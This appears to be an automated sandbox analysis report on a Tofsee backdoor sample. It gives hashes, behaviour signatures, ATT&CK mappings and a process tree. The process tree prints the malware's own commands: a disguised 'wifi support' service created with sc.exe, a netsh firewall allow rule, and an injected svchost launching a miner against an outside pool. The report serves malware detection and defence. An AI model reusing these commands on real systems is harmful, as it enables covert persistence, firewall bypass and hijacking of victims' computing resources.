Analysis

  • max time kernel
    151s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    14-11-2020 18:19

General

  • Target

    191f0b19b5e11dac84a8366d5aa12bf589e3952ee387d78da37b597e509cf76d.exe

  • Size

    14.3MB

  • MD5

    3b94b0d0ed530d4399f2a01f3a2f663c

  • SHA1

    81caa4687ce7c88c6ae729c7e0cc97be63d13ed9

  • SHA256

    191f0b19b5e11dac84a8366d5aa12bf589e3952ee387d78da37b597e509cf76d

  • SHA512

    cd40da59b612db3a34aff0995f90974f3d6e541734a8099a5774ecfe89786a7cd782ef2b1126aa9a5e8192e490ab46dbeb45d8bdb616c47f31ca7b7ff0c72f60

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\191f0b19b5e11dac84a8366d5aa12bf589e3952ee387d78da37b597e509cf76d.exe
    "C:\Users\Admin\AppData\Local\Temp\191f0b19b5e11dac84a8366d5aa12bf589e3952ee387d78da37b597e509cf76d.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:728
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\csyuiwxz\
      2⤵
        PID:2680
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vyggecgp.exe" C:\Windows\SysWOW64\csyuiwxz\
        2⤵
          PID:3504
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create csyuiwxz binPath= "C:\Windows\SysWOW64\csyuiwxz\vyggecgp.exe /d\"C:\Users\Admin\AppData\Local\Temp\191f0b19b5e11dac84a8366d5aa12bf589e3952ee387d78da37b597e509cf76d.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2512
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description csyuiwxz "wifi internet conection"
            2⤵
              PID:212
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start csyuiwxz
              2⤵
                PID:1108
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2224
              • C:\Windows\SysWOW64\csyuiwxz\vyggecgp.exe
                C:\Windows\SysWOW64\csyuiwxz\vyggecgp.exe /d"C:\Users\Admin\AppData\Local\Temp\191f0b19b5e11dac84a8366d5aa12bf589e3952ee387d78da37b597e509cf76d.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2724
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1908
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2900

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              2
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              3
              T1112

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\vyggecgp.exe
                MD5

                338bc60be84af66bf418880fbc93a502

                SHA1

                2c810fb4868be7c8df306b4c6531093dbf1ffc29

                SHA256

                259392cfff3729888bc6f84c5f96d2f4dc7e23f8392c420ced85ccbbfb41c25a

                SHA512

                62ce3936dd6a9c97dcb8eb2f5eff5c3007737f0d860487923d83fbfdab92430ce2150b74c3b1b8ea943fbd140845e91f80e15e57ce391a7119b174929438c30e

              • C:\Windows\SysWOW64\csyuiwxz\vyggecgp.exe
                MD5

                338bc60be84af66bf418880fbc93a502

                SHA1

                2c810fb4868be7c8df306b4c6531093dbf1ffc29

                SHA256

                259392cfff3729888bc6f84c5f96d2f4dc7e23f8392c420ced85ccbbfb41c25a

                SHA512

                62ce3936dd6a9c97dcb8eb2f5eff5c3007737f0d860487923d83fbfdab92430ce2150b74c3b1b8ea943fbd140845e91f80e15e57ce391a7119b174929438c30e

              • memory/212-4-0x0000000000000000-mapping.dmp
              • memory/1108-5-0x0000000000000000-mapping.dmp
              • memory/1908-8-0x0000000001040000-0x0000000001055000-memory.dmp
                Filesize

                84KB

              • memory/1908-15-0x0000000009B10000-0x0000000009F1B000-memory.dmp
                Filesize

                4.0MB

              • memory/1908-16-0x00000000057E0000-0x00000000057E7000-memory.dmp
                Filesize

                28KB

              • memory/1908-14-0x0000000003CF0000-0x0000000003CF5000-memory.dmp
                Filesize

                20KB

              • memory/1908-13-0x00000000036E0000-0x00000000036F0000-memory.dmp
                Filesize

                64KB

              • memory/1908-9-0x0000000001049A6B-mapping.dmp
              • memory/1908-11-0x0000000004F90000-0x000000000519F000-memory.dmp
                Filesize

                2.1MB

              • memory/1908-12-0x00000000036D0000-0x00000000036D6000-memory.dmp
                Filesize

                24KB

              • memory/2224-7-0x0000000000000000-mapping.dmp
              • memory/2512-3-0x0000000000000000-mapping.dmp
              • memory/2680-0-0x0000000000000000-mapping.dmp
              • memory/2900-17-0x0000000001020000-0x0000000001111000-memory.dmp
                Filesize

                964KB

              • memory/2900-19-0x00000000010B259C-mapping.dmp
              • memory/3504-1-0x0000000000000000-mapping.dmp